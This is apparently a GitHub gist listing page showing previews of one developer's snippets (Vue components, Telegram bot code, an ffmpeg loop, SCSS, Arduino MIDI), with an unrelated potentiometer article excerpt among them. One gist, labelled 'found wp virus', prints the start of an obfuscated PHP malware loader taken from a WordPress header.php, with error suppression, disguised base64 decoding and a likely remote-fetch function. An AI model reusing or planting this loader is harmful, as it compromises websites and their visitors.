Skip to content

Instantly share code, notes, and snippets.

@Gkiokan
Gkiokan / AppPagination.vue
Created April 17, 2025 12:35
AppPagination shadcn-vue
<template>
<div class="flex items-center gap-1">
<Button variant="outline" size="sm" :disabled="currentPage === 1" @click="setPage(1)">
«
</Button>
<Button variant="outline" size="sm" :disabled="currentPage === 1" @click="setPage(currentPage - 1)">
</Button>
<!-- Always show first page -->
@Gkiokan
Gkiokan / ThemeSwitcher.vue
Created April 9, 2025 15:28
Vue Shadcn ThemeSwitcher
<template>
<div class="flex items-center">
<div class="">
<Button variant="ghost" class="cursor-pointer" @click.stop="handle">
<Icon icon="radix-icons:moon" class="hover:text-primary h-5 w-5 rotate-0 scale-100 transition-all dark:-rotate-90 dark:scale-0" v-show="mode == 'light'" @click="mode = 'dark'" />
<Icon icon="radix-icons:sun" class="hover:text-primary h-5 w-5 rotate-90 scale-0 transition-all dark:rotate-0 dark:scale-100" v-show="mode == 'dark'" @click="mode = 'light'" />
</Button>
</div>
</div>
</template>
The Secret Life of Pots
Copyright 1999 R.G. Keen All rights reserved.
As electronics tinkerers, we all use potentiometers, or "pots" for short. We count on them to control all our musical gear, and quite often get frustrated by their limitations. As in all relationships, a little understanding goes a long way. Let's take a look at how pots work so we can use them better.
Back in the dim reaches of electronic prehistory when electricity, let alone electronics, was poorly understood , a number of researchers were trying to figure out how this mysterious force worked. They had no meters, no oscilloscopes, not even very good batteries, and had to literally make their own parts to get anything electrical to work. In this era, a fellow named Ohm settled a controversy. There was general agreement in the electrical research realm that the ratio of a voltage to the resulting current in any chunk of material was dependent on the material itself and the value of the current raised to some power, or
V=k * I^x
The rag
@Gkiokan
Gkiokan / header.php
Created January 8, 2025 02:55
found wp virus
<?php @ini_set('display_errors', '0');
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrK42MQ4F8YpQL/+fflvUNPlfnyDNGK/X/wEfeQ==";
if (!function_exists('get_data_ya')) {
if (ini_get('allow_url_fopen')) {
function get_data_ya($m) {
@Gkiokan
Gkiokan / vue-autoload-components.ts
Created September 23, 2024 07:41
Vue autoload Components and register globally
/**
* Author: Gkiokan Sali
* Date 2024-09-22
* Note:
* Put this file in your src/components folder
* and import it in your main.ts / entrypoint
* call autoRegisterComponents(app) to do so
* --
* Hint:
* If you wanna perfect this, put the vue cycle hook methods inside
@Gkiokan
Gkiokan / setCommands.js
Created July 22, 2024 07:24
TG Commands Set
import clc from 'cli-color'
import log from '../log'
import store from '../store'
import helper from '../util/helper'
import { bot } from './BotController';
let CommandController = {
// This should hold all commands to their specific language
@Gkiokan
Gkiokan / BotController.js
Created June 29, 2024 21:51
GrammyJS BotController (JS)
import store from '../store'
import log from '../log'
import { Bot, Context, session, lazySession } from "grammy"
import { sequentialize } from '@grammyjs/runner'
import MessageComposer from './MessageComposer'
import MenuComposer from './MenuComposer'
let BotController = {
@Gkiokan
Gkiokan / _aac_to_mp3.sh
Last active October 4, 2023 15:33
*.aac to *.mp3
# Transform all *.aac files to mp3 with ffmpeg
for file in *.aac; do ffmpeg -i "$file" -codec:v copy -codec:a libmp3lame -q:a 4 "${file%.aac}.mp3"; done
@Gkiokan
Gkiokan / scrollbar.scss
Created August 22, 2023 23:19
Scrollbar Base SCSS
html, body.body--dark {
/* Foreground, Background */
scrollbar-color: #999 #333;
::-webkit-scrollbar {
width: 10px; /* Mostly for vertical scrollbars */
height: 5px; /* Mostly for horizontal scrollbars */
}
::-webkit-scrollbar-thumb { /* Foreground */
@Gkiokan
Gkiokan / midi.demo
Created June 24, 2023 22:38
midi demo
#include <MIDI.h>
const int channel = 0;
const int wheelPin = A2;
int wheel = 0;
int mappedWheel = 0;
int maxPitchValue = 16383;
// Probably fix for Hairless as it seems to run on 115200 but didn't helped me
// struct HairlessMidiSettings : public midi::DefaultSettings